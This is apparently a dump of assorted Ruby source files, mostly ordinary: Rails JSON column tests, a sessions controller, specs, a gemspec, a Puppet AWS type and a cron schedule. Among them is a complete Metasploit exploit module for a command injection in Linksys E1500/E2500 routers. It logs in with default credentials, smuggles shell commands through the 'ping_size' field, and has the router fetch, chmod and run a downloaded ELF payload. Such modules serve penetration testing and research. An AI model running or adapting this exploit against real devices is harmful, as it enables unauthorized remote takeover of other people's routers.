assert_equal({"string" => "foo", "symbol" => "bar"}, x.reload.payload)
end
def test_type_cast_json
column = JsonDataType.columns_hash["payload"]
data = "{\"a_key\":\"a_value\"}"
hash = column.class.string_to_json data
assert_equal({'a_key' => 'a_value'}, hash)
assert_equal({'a_key' => 'a_value'}, column.type_cast(data))
assert_equal({}, column.type_cast("{}"))
assert_equal({'key'=>nil}, column.type_cast('{"key": null}'))
assert_equal({'c'=>'}','"a"'=>'b "a b'}, column.type_cast(%q({"c":"}", "\"a\"":"b \"a b"})))
end
def test_rewrite
@connection.execute "insert into json_data_type (payload) VALUES ('{\"k\":\"v\"}')"
x = JsonDataType.first
x.payload = { '"a\'' => 'b' }
assert x.save!
end
def test_select
@connection.execute "insert into json_data_type (payload) VALUES ('{\"k\":\"v\"}')"
x = JsonDataType.first
assert_equal({'k' => 'v'}, x.payload)
end
def test_select_multikey
@connection.execute %q|insert into json_data_type (payload) VALUES ('{"k1":"v1", "k2":"v2", "k3":[1,2,3]}')|
x = JsonDataType.first
assert_equal({'k1' => 'v1', 'k2' => 'v2', 'k3' => [1,2,3]}, x.payload)
end
def test_null_json
@connection.execute %q|insert into json_data_type (payload) VALUES(null)|
x = JsonDataType.first
assert_equal(nil, x.payload)
end
def test_select_array_json_value
@connection.execute %q|insert into json_data_type (payload) VALUES ('["v0",{"k1":"v1"}]')|
x = JsonDataType.first
assert_equal(['v0', {'k1' => 'v1'}], x.payload)
end
def test_rewrite_array_json_value
@connection.execute %q|insert into json_data_type (payload) VALUES ('["v0",{"k1":"v1"}]')|
x = JsonDataType.first
x.payload = ['v1', {'k2' => 'v2'}, 'v3']
assert x.save!
end
def test_with_store_accessors
x = JsonDataType.new(resolution: "320×480")
assert_equal "320×480", x.resolution
x.save!
x = JsonDataType.first
assert_equal "320×480", x.resolution
x.resolution = "640×1136"
x.save!
x = JsonDataType.first
assert_equal "640×1136", x.resolution
end
def test_duplication_with_store_accessors
x = JsonDataType.new(resolution: "320×480")
assert_equal "320×480", x.resolution
y = x.dup
assert_equal "320×480", y.resolution
end
def test_yaml_round_trip_with_store_accessors
x = JsonDataType.new(resolution: "320×480")
assert_equal "320×480", x.resolution
y = YAML.load(YAML.dump(x))
assert_equal "320×480", y.resolution
end
def test_update_all
json = JsonDataType.create! payload: { "one" => "two" }
JsonDataType.update_all payload: { "three" => "four" }
assert_equal({ "three" => "four" }, json.reload.payload)
JsonDataType.update_all payload: { }
assert_equal({ }, json.reload.payload)
end
end
| 29.744048 | 123 | 0.661997 |
393f31809f973aee570397c80e0e6f73d222cfa4 | 527 | class SessionsController < ApplicationController
# user shouldn't have to be logged in before logging in!
skip_before_filter :set_current_user
def create
# debugger
auth=request.env["omniauth.auth"]
user=Owner.find_by_provider_and_uid(auth["provider"],auth["uid"]) ||
Owner.create_with_omniauth(auth)
session[:user_id] = user.id
redirect_to entities_path
end
def destroy
session.delete(:user_id)
flash[:notice] = 'Logged out successfully.'
redirect_to entities_path
end
end
| 29.277778 | 72 | 0.728653 |
b9d78b7dd6dedf6f41a677dcdeacebfa75db3873 | 351 | # frozen_string_literal: true
require 'spec_helper'
describe Organization do
let(:organization) { create(:organization) }
describe 'validation' do
it 'is not valid without a name' do
should validate_presence_of(:name)
end
end
describe 'associations' do
it { should have_many(:conferences).dependent(:destroy) }
end
end
| 19.5 | 61 | 0.717949 |
79a3582af5445c7c2232a34fdc77fc12e4544511 | 1,205 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'schema_plus/pg_types/version'
Gem::Specification.new do |gem|
gem.name = "schema_plus_pg_types"
gem.version = SchemaPlus::PgTypes::VERSION
gem.authors = ["Boaz Yaniv"]
gem.email = ["[email protected]"]
gem.summary = %q{Adds supports for PostgreSQL types that were left out by Rails}
gem.homepage = "https://github.com/SchemaPlus/schema_plus_pg_types"
gem.license = "MIT"
gem.files = `git ls-files -z`.split("\x0")
gem.executables = gem.files.grep(%r{^bin/}) { |f| File.basename(f) }
gem.test_files = gem.files.grep(%r{^(test|spec|features)/})
gem.require_paths = ["lib"]
gem.add_dependency "activerecord", "~> 5.0"
gem.add_dependency "schema_plus_core", "~> 2.0", ">= 2.0.1"
gem.add_development_dependency "bundler", "~> 1.7"
gem.add_development_dependency "rake", "~> 10.0"
gem.add_development_dependency "rspec", "~> 3.0"
gem.add_development_dependency "schema_dev", "~> 3.8"
gem.add_development_dependency "simplecov"
gem.add_development_dependency "simplecov-gem-profile"
end
| 40.166667 | 88 | 0.675519 |
bb518fa5516bc9a2d31f95b85acab11e0a28a139 | 1,095 | require File.expand_path(File.join(File.dirname(__FILE__), '..', '..', 'puppet_x', 'bobtfish', 'ec2_api.rb'))
Puppet::Type.newtype(:aws_cgw) do
@doc = "Manage AWS customer gateways: http://docs.aws.amazon.com/AWSEC2/latest/CommandLineReference/ApiReference-cmd-CreateCustomerGateway.html"
newparam(:name)
ensurable
newproperty(:ip_address) do
validate do |value|
unless value =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/
raise ArgumentError , "'%s' is not a valid IPv4 address" % value
end
end
end
newproperty(:bgp_asn) do
validate do |value|
unless value.to_s =~ /^\d+$/
raise ArgumentError , "'%s' is not a valid BGP ASN" % value
end
end
end
newproperty(:tags) do
end
newproperty(:region) do
begin
Puppet_X::Bobtfish::Ec2_api.regions.each { |name| newvalue name }
rescue Exception
[]
end
end
newproperty(:type) do
defaultto 'ipsec.1'
validate do |value|
unless value =~ /^ipsec\.1$/
raise ArgumentError , "'%s' is not a valid type" % value
end
end
end
end
| 27.375 | 146 | 0.628311 |
1d8b55b48913e40413af47978f095c515c4d150c | 932 | # FIXME implement
# require File.dirname(__FILE__) + "/../../spec_helper"
#
# describe Admin::CellsController do
# include SpecControllerHelper
#
# before(:each) do
# @controller.stub!(:require_authentication)
# @controller.stub!(:has_permission?).and_return(true)
# @controller.stub!(:current_user).and_return(stub_user)
# User.stub!(:find).and_return(stub_user)
# #Cells.stub!(:all).and_return([])
# I18n.stub!(:translate).and_return("") # FIXME: this is so that the build doesn't break
# end
#
# it "should be an Admin::BaseController" do
# controller.should be_kind_of(Admin::BaseController)
# end
#
# describe "routing" do
# with_options :path_prefix => '/admin/' do |route|
# route.it_maps :get, "cells", :index
# end
# end
#
# describe "GET to :index" do
# act! { request_to :get, '/admin/cells', :format => 'xml' }
#
# it_assigns :cells
# end
# end
| 28.242424 | 92 | 0.645923 |
bf1072eca239e333ded09fd830e89bb558059ff9 | 236 | class CreateClubs < ActiveRecord::Migration[6.0]
def change
create_table :clubs do |t|
t.string :name
t.text :description
t.string :avatar
t.string :active_book_isbn13
t.timestamps
end
end
end
| 18.153846 | 48 | 0.648305 |
33e1c08e7b998fdf12438bfd0072da14e9f63907 | 868 | module Rake
class Scope < LinkedList
# Path for the scope.
def path
map { |item| item.to_s }.reverse.join(":")
end
# Path for the scope + the named path.
def path_with_task_name(task_name)
"#{path}:#{task_name}"
end
# Trim +n+ innermost scope levels from the scope. In no case will
# this trim beyond the toplevel scope.
def trim(n)
result = self
while n > 0 && ! result.empty?
result = result.tail
n -= 1
end
result
end
# Scope lists always end with an EmptyScope object. See Null
# Object Pattern)
class EmptyScope < EmptyLinkedList
@parent = Scope
def path
""
end
def path_with_task_name(task_name)
task_name
end
end
# Singleton null object for an empty scope.
EMPTY = EmptyScope.new
end
end
| 20.186047 | 69 | 0.59447 |
d5c4d8ae0c6ed4fbdc634aed6aa25b16be2b6ad2 | 57 | module JiveWebhooks
module ApplicationHelper
end
end
| 11.4 | 26 | 0.824561 |
61e6177667e953160ef6c22005740deeb0698c9f | 375 | require "bundler/setup"
require "contextualized_logs"
RSpec.configure do |config|
# Enable flags like --only-failures and --next-failure
config.example_status_persistence_file_path = ".rspec_status"
# Disable RSpec exposing methods globally on `Module` and `main`
config.disable_monkey_patching!
config.expect_with :rspec do |c|
c.syntax = :expect
end
end
| 25 | 66 | 0.76 |
edb994f4100c166dfa0920f1ed6565d6405e3942 | 1,128 | # This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 20170409080045) do
create_table "hoges", force: :cascade do |t|
t.string "name"
t.integer "nyan"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "messages", force: :cascade do |t|
t.text "content"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
end
| 38.896552 | 86 | 0.74734 |
5d40a1cb6f19708b46a9c0d823152ab7d45aa7ed | 41 | module PushType
VERSION = '0.13.1'
end
| 10.25 | 20 | 0.682927 |
0151494847f4c24376ad313f6151df6ff67b59df | 625 | # frozen_string_literal: true
# Security::SecurityJobsFinder
#
# Used to find jobs (builds) that are related to the Secure products:
# SAST, DAST, Dependency Scanning and Container Scanning
#
# Arguments:
# params:
# pipeline: required, only jobs for the specified pipeline will be found
# job_types: required, array of job types that should be returned, defaults to all job types
module Security
class SecurityJobsFinder < JobsFinder
def self.allowed_job_types
[:sast, :dast, :dependency_scanning, :container_scanning, :secret_detection, :coverage_fuzzing]
end
end
end
| 31.25 | 108 | 0.7248 |
acf50f8e9e9b5afe8331fd7c798f57a81b891248 | 755 | Pod::Spec.new do |s|
s.name = "Flash2Cocos2D"
s.version = "0.7"
s.summary = "Library to import animations made in Flash to Cocos2D."
s.description = "A modified grapefrukt-export creates xml descriptions of timeline animations. Flash2Cocos2D imports that xml and recreates what were timeline animations."
s.homepage = "https://github.com/percentjuice/Flash2Cocos2D"
s.license = 'MIT'
s.author = 'cstuempges'
s.source = { :git => "https://github.com/percentjuice/Flash2Cocos2D.git", :tag => "v0.7" }
s.platform = :ios, '5.0'
s.source_files = 'FlashToCocosARC', 'FlashToCocosARC/*.{h,m}'
s.requires_arc = true
s.dependency 'cocos2d', '2.0'
s.dependency 'TBXMLPivotalForks', '0.0.1'
end
| 47.1875 | 175 | 0.664901 |
e2324dea7c685cb461070996c7fccf6d5f812003 | 432 | class Organisation < ApplicationRecord
has_and_belongs_to_many :content_items
has_many :problem_reports, through: :content_items
has_many :anonymous_contacts, through: :content_items
validates :slug, presence: true
validates :web_url, presence: true
validates :title, presence: true
validates :content_id, presence: true
def as_json(_options)
super(only: %i[slug web_url title acronym govuk_status])
end
end
| 28.8 | 60 | 0.782407 |
284f4dc3540fdf223d0167f6f2fc4e3596653da8 | 1,758 | #! /usr/bin/env ruby
## 验证项目配置的 Ruby 脚本
## 无参数支持,Xcode 设置的环境变量都在就行
# require 'rubygems'
require 'xcodeproj'
require 'plist'
# 主目标的名称,留空尝试自动寻找
main_target_name = nil
xcode_build_configuration = ENV["CONFIGURATION"]
xcodeproj_path = ENV["PROJECT_FILE_PATH"]
proj = Xcodeproj::Project.open(xcodeproj_path)
# 找到 App target
main_target = nil
if main_target_name != nil
proj.targets.each do |target|
if target.name == main_target_name
main_target = target
end
end
if main_target == nil
puts "#{proj.path}:0: 找不到名为 #{main_target_name} 的 target"
exit false
end
else
proj.targets.each do |target|
if target.product_name == "App"
main_target = target
end
end
end
if main_target == nil
puts "#{proj.path}:0: 找不到应用的 target"
exit false
end
xcode_info_plist_path = nil
main_target.build_configurations.each do |config|
setting_hash = config.build_settings
if config.name == xcode_build_configuration
xcode_info_plist_path = setting_hash["INFOPLIST_FILE"]
end
# 🔰 项目配置检查示例
# CODE SIGN 应使用项目默认值,target 配置中不应包含 CODE SIGN 设置
# if setting_hash["CODE_SIGN_IDENTITY"]
# puts "#{proj.path}:0: target 配置中不应包含 CODE_SIGN_IDENTITY 设置"
# end
#
# if setting_hash["CODE_SIGN_IDENTITY[sdk=*]"]
# puts "#{proj.path}:0: target 配置中不应包含 CODE_SIGN_IDENTITY[sdk=*] 设置"
# end
end
# 验证当前 Info.plist 配置
xcode_info_plist_path = File.join(ENV["PROJECT_DIR"], xcode_info_plist_path)
info_plist = Plist::parse_xml(xcode_info_plist_path)
if info_plist == nil
puts "#{proj.path}:0: 不能读取 Info.plist"
exit false
end
# 🔰 Info.plist 检查示例
#rdc = info_plist["UIRequiredDeviceCapabilities"]
#if rdc.count != 1
# puts "#{xcode_info_plist_path}:0: Required device capabilities 配置错误"
# exit false
#end
| 23.44 | 76 | 0.721274 |
01395b8926d4f2590b5821ab8f6d712399875668 | 1,084 | class GolangMigrate < Formula
desc "Database migrations CLI tool"
homepage "https://github.com/golang-migrate/migrate"
url "https://github.com/golang-migrate/migrate/archive/v4.14.1.tar.gz"
sha256 "c4bb59dd2a1c99980b453f37d0838d292aef9feab86ff5ec230f13e097761017"
license "MIT"
bottle do
sha256 cellar: :any_skip_relocation, arm64_big_sur: "3565f7a03cfd1eeec3110aa8d56f03baa79b0de2718103c0095e51187ecd37ee"
sha256 cellar: :any_skip_relocation, big_sur: "5c61a106d9970b0f9b14e78e1523894d57b50cd0473f7d5a1fb1a9161dbff159"
sha256 cellar: :any_skip_relocation, catalina: "a77af5282af35e0d073e82140b091eedf0b478c19aea36f1b06738690989cebb"
sha256 cellar: :any_skip_relocation, mojave: "8fa3758e979f09c171388887c831a6518e3f8df67b07668b6c8cebf76b19a653"
end
depends_on "go" => :build
def install
system "make", "VERSION=v#{version}"
bin.install "migrate"
end
test do
touch "0001_migtest.up.sql"
output = shell_output("#{bin}/migrate -database stub: -path . up 2>&1")
assert_match "1/u migtest", output
end
end
| 38.714286 | 122 | 0.771218 |
f81030d7537a8827fa1bc0cf2799507ca7d0fb5d | 622 | # Use this file to easily define all of your cron jobs.
#
# It's helpful, but not entirely necessary to understand cron before proceeding.
# http://en.wikipedia.org/wiki/Cron
# Example:
#
# set :output, "/path/to/my/cron_log.log"
#
# every 2.hours do
# command "/usr/bin/some_great_command"
# runner "MyModel.some_method"
# rake "some:great:rake:task"
# end
#
# every 4.days do
# runner "AnotherModel.prune_old_records"
# end
# Learn more: http://github.com/javan/whenever
##
# Every morning, the data retention policy enforcement.
every 1.day, :at => '2:30 am' do
runner "EncryptedMessage.delete_expired"
end | 23.923077 | 80 | 0.71865 |
5dec7ff570b5bc238262858b17f294e231c862f7 | 8,275 | ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys E1500/E2500 apply.cgi Remote Command Injection',
'Description' => %q{
Some Linksys Routers are vulnerable to an authenticated OS command injection.
Default credentials for the web interface are admin/admin or admin/password. Since
it is a blind os command injection vulnerability, there is no output for the
executed command when using the cmd generic payload. A ping command against a
controlled system could be used for testing purposes.
},
'Author' =>
[
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '57760' ],
[ 'EDB', '24475' ],
[ 'OSVDB', '89912' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]
],
'DisclosureDate' => 'Feb 05 2013',
'Privileged' => true,
'Platform' => %w{ linux unix },
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Linux mipsel Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 1
))
register_options(
[
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
], self.class)
end
def request(cmd,user,pass,uri)
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'authorization' => basic_auth(user,pass),
'vars_post' => {
"submit_button" => "Diagnostics",
"change_action" => "gozila_cgi",
"submit_type" => "start_ping",
"action" => "",
"commit" => "0",
"ping_ip" => "1.1.1.1",
"ping_size" => "&#{cmd}&",
"ping_times" => "5",
"traceroute_ip" => ""
}
})
return res
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return nil
end
end
def exploit
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
uri = '/apply.cgi'
user = datastore['USERNAME']
pass = datastore['PASSWORD']
rhost = datastore['RHOST']
rport = datastore['RPORT']
#
# testing Login
#
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(user,pass)
})
if res.nil? or res.code == 404
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
if [200, 301, 302].include?(res.code)
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
else
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
end
if target.name =~ /CMD/
if not (datastore['CMD'])
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
cmd = payload.encoded
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
else
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
end
return
end
#thx to Juan for his awesome work on the mipsel elf support
@pl = generate_payload_exe
@elf_sent = false
#
# start our server
#
resource_uri = '/' + downfile
if (datastore['DOWNHOST'])
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
else
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
#we use SRVHOST as download IP for the coming wget command.
#SRVHOST needs a real IP address of our download host
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
end
#
# download payload
#
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
#this filename is used to store the payload on the device
filename = rand_text_alpha_lower(8)
#not working if we send all command together -> lets take three requests
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end
# wait for payload download
if (datastore['DOWNHOST'])
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload")
select(nil, nil, nil, datastore['HTTP_DELAY'])
else
wait_linux_payload
end
register_file_for_cleanup("/tmp/#{filename}")
#
# chmod
#
cmd = "chmod 777 /tmp/#{filename}"
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end
#
# execute
#
cmd = "/tmp/#{filename}"
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end
# wait for the data to be sent
def wait_linux_payload
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
waited = 0
while (not @elf_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
end
end
end
end
| 32.324219 | 141 | 0.585861 |
1c48c5ae77b5381b21771b008e3a1ff672ae8757 | 1,356 | # frozen_string_literal: true
# WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/version-3/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
unless Module.const_defined?(:Aws)
require 'aws-sdk-core'
require 'aws-sigv4'
end
require_relative 'aws-sdk-sso/types'
require_relative 'aws-sdk-sso/client_api'
require_relative 'aws-sdk-sso/client'
require_relative 'aws-sdk-sso/errors'
require_relative 'aws-sdk-sso/resource'
require_relative 'aws-sdk-sso/customizations'
# This module provides support for AWS Single Sign-On. This module is available in the
# `aws-sdk-core` gem.
#
# # Client
#
# The {Client} class provides one method for each API operation. Operation
# methods each accept a hash of request parameters and return a response
# structure.
#
# sso = Aws::SSO::Client.new
# resp = sso.get_role_credentials(params)
#
# See {Client} for more information.
#
# # Errors
#
# Errors returned from AWS Single Sign-On are defined in the
# {Errors} module and all extend {Errors::ServiceError}.
#
# begin
# # do stuff
# rescue Aws::SSO::Errors::ServiceError
# # rescues all AWS Single Sign-On API errors
# end
#
# See {Errors} for more information.
#
# @!group service
module Aws::SSO
GEM_VERSION = '3.121.0'
end
| 24.214286 | 86 | 0.728614 |
2833a9820db0fb4536bc753a36642e20aaf71ac0 | 845 | Pod::Spec.new do |s|
# 1
s.platform = :ios
s.ios.deployment_target = '10.0'
s.name = "TestTrisa"
s.summary = "Test Trisa summary."
s.requires_arc = true
# 2
s.version = "0.1.0"
# 3
s.license = { :type => "MIT", :file => "LICENSE" }
# 4 - Replace with your name and e-mail address
s.author = { "Surya" => "[email protected]" }
# 5 - Replace this URL with your own GitHub page's URL (from the address bar)
s.homepage = "https://github.com/suryasps25/TestTrisa"
# 6 - Replace this URL with your own Git URL from "Quick Setup"
s.source = { :git => "https://github.com/suryasps25/TestTrisa.git",
:tag => "#{s.version}" }
# 7
s.framework = "UIKit"
s.dependency 'Alamofire', '~> 4.7'
# 8
s.source_files = "TestTrisa/**/*.{swift}"
# 9
#s.resources = "TestTrisa/**/*.{png,jpeg,jpg,storyboard,xib,xcassets}"
# 10
s.swift_version = "4.1"
end
| 21.125 | 77 | 0.649704 |
03f8f8a5e22b710b09fd95588fc53bdcf9276f01 | 507 | class User < ApplicationRecord
extend Devise::Models
# Include default devise modules. Others available are:
# :confirmable, :lockable, :timeoutable, :trackable and :omniauthable
devise :database_authenticatable, :registerable,
:recoverable, :rememberable, :validatable
has_many :friendships
has_many :friends, :through => :friendships
has_many :followings, :foreign_key => 'friend_id', :class_name => 'Friendship'
has_many :followers, :through => :followings, :source => :user
end
| 39 | 80 | 0.741617 |
e8410668cf2bfd66a331220c896af67c445905b3 | 151 | # Be sure to restart your server when you modify this file.
Rails.application.config.session_store :cookie_store, key: '_params-test-sandbox_session'
| 37.75 | 89 | 0.807947 |
086f2689128d4ecc5678128ad70ea352e4df4d15 | 2,891 | # Copyright 2017 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require "helper"
describe Google::Cloud::Spanner::Results, :duplicate, :mock_spanner do
let :results_types do
{
metadata: {
row_type: {
fields: [
{ name: "num", type: { code: :INT64 } },
{ name: "str", type: { code: :INT64 } },
{ name: "num", type: { code: :STRING } },
{ name: "str", type: { code: :STRING } }
]
}
}
}
end
let :results_values do
{
values: [
{ string_value: "1" },
{ string_value: "2" },
{ string_value: "hello" },
{ string_value: "world" },
{ string_value: "3" },
{ string_value: "4" },
{ string_value: "hola" },
{ string_value: "mundo" }
]
}
end
let(:results_enum) do
[Google::Spanner::V1::PartialResultSet.new(results_types),
Google::Spanner::V1::PartialResultSet.new(results_values)].to_enum
end
let(:results) { Google::Cloud::Spanner::Results.from_enum results_enum, spanner.service }
it "handles duplicate names" do
_(results).must_be_kind_of Google::Cloud::Spanner::Results
fields = results.fields
_(fields).wont_be :nil?
_(fields).must_be_kind_of Google::Cloud::Spanner::Fields
_(fields.types).must_equal [:INT64, :INT64, :STRING, :STRING]
_(fields.keys).must_equal [:num, :str, :num, :str]
_(fields.pairs).must_equal [[:num, :INT64], [:str, :INT64], [:num, :STRING], [:str, :STRING]]
_(fields.to_a).must_equal [:INT64, :INT64, :STRING, :STRING]
assert_raises Google::Cloud::Spanner::DuplicateNameError do
fields.to_h
end
rows = results.rows.to_a # grab them all from the enumerator
_(rows.count).must_equal 2
_(rows.first.to_a).must_equal [1, 2, "hello", "world"]
_(rows.last.to_a).must_equal [3, 4, "hola", "mundo"]
assert_raises Google::Cloud::Spanner::DuplicateNameError do
rows.first.to_h
end
rows.first.to_h skip_dup_check: true # does not raise
assert_raises Google::Cloud::Spanner::DuplicateNameError do
rows.last.to_h
end
rows.last.to_h skip_dup_check: true # does not raise
_(rows.first.pairs).must_equal [[:num, 1], [:str, 2], [:num, "hello"], [:str, "world"]]
_(rows.last.pairs).must_equal [[:num, 3], [:str, 4], [:num, "hola"], [:str, "mundo"]]
end
end
| 35.256098 | 97 | 0.631269 |
e82a978bbba1ed05d1899bd51142506d41aa8d32 | 3,099 | #! /usr/bin/env ruby
# ******************************
# CODE SAMPLER Script
# ******************************
# == Synopsis
#
# == Examples
#
#
# == Usage
#
# == Author
# Evin Grano
#
# == Copyright
#
require 'rubygems'
require 'find'
require 'ftools'
require 'fileutils'
class CodeSampler
#instance vars
def initialize()
#init stuff....
end
def run()
@code = {}
@code_name = []
code_root = File.expand_path("~/workarea/projects/scui-samples/apps/samples/resources")
code_file = File.expand_path("~/workarea/projects/scui-samples/apps/samples/core_code.js")
puts 'Started the Resources directory';
search_and_process(code_root)
write_to_code_file(code_file)
end
protected
def search_and_process(src_path)
puts 'Start In: ' + src_path
Find.find(src_path) do |entry|
if File.file?(entry)
ext = File.extname(entry);
process_file_for_code(entry) if (ext == '.js')
else
puts 'Error'
end
end
end
def process_file_for_code(check_file)
puts "Processing: #{check_file}"
f = File.open(check_file, 'r');
begin_code = false
name = "test"
while line = f.gets
line.rstrip!
name_start = line.index(/@@CODE\[/)
begin_code = name_start ? true : false
if (begin_code)
name_start += 7
name_end = line.rindex("]")-1
len = name_end - name_start
puts "Name: start=#{name_start}, end=#{name_end}"
if len > 0
name = line[name_start..name_end]
@code_name.push(name)
@code[name] = ""
lines_processed = process_code_sample(f, name)
puts "Found #{lines_processed} lines of Code Sample for [#{name}]..."
#puts @code[name]
end
end
end
f.close()
end
def process_code_sample(f, name)
end_of_code = false
count = 0
while !end_of_code && line = f.gets
line.rstrip!
line.gsub!("\"", "\\\"")
#puts "Code to retrieve: #{line}"
end_of_code = line.index(/@@END_CODE/) ? true : false
@code[name] += "#{line}\\n" unless end_of_code
count += 1
end
count
end
def write_to_code_file(code_file)
len = @code_name.length
if len > 0
puts "Writing Out #{@code_name.length} Code Samples!"
f = File.open(code_file, 'w');
f.puts "// =========================================================================="
f.puts "// Project: SCUI Samples: Code Samples"
f.puts "// Copyright: 2009-2010 Evin Grano and Contributors"
f.puts "// =========================================================================="
f.puts "\/*globals Samples *\/\n\n"
f.puts "Samples.codeSamples = SC.Object.create({"
@code_name.each_index do |x|
name = @code_name[x]
code = @code[name]
f.puts " #{name}: \"#{code}\"," if len-1 > x
f.puts " #{name}: \"#{code}\"" if len-1 == x
end
f.puts "});"
f.close()
else
puts "ERROR: No Code Processed!"
end
end
end
app = CodeSampler.new
app.run | 26.042017 | 94 | 0.539852 |
01dfdc851843603c994a137c5234db45c3125676 | 329 | def do_ops(line)
return line.start_with?('ADD_CHILD') ? "CHILD_ADDITION_FAILED" : "PERSON_NOT_FOUND"
end
def parse_file(file)
f = File.open(file, "r")
f.each_line do |line|
puts do_ops(line.to_s)
end
f.close
end
def main
input_file = ARGV[1]
out = parse_file(input_file)
print(out)
end | 19.352941 | 87 | 0.653495 |
3954e9b5624161ef36e08c48f579e9625ec1dd91 | 1,564 | require "rails_helper"
describe ApplicationHelper, type: :helper do
describe "#page_header" do
it "links to the user dashboard if user logged in" do
current_organization = build_stubbed(:casa_org)
user = build_stubbed(:user, casa_org: current_organization)
allow(helper).to receive(:user_signed_in?).and_return(true)
allow(helper).to receive(:current_user).and_return(user)
allow(helper).to receive(:current_organization).and_return(current_organization)
dashboard_link = helper.link_to(current_organization.display_name, root_path)
expect(helper.page_header).to eq(dashboard_link)
end
it "displays the header when user is not logged in" do
allow(helper).to receive(:user_signed_in?).and_return(false)
expect(helper.page_header).to eq(helper.default_page_header)
end
end
describe "#session_link" do
it "links to the sign_out page when user is signed in" do
allow(helper).to receive(:user_signed_in?).and_return(true)
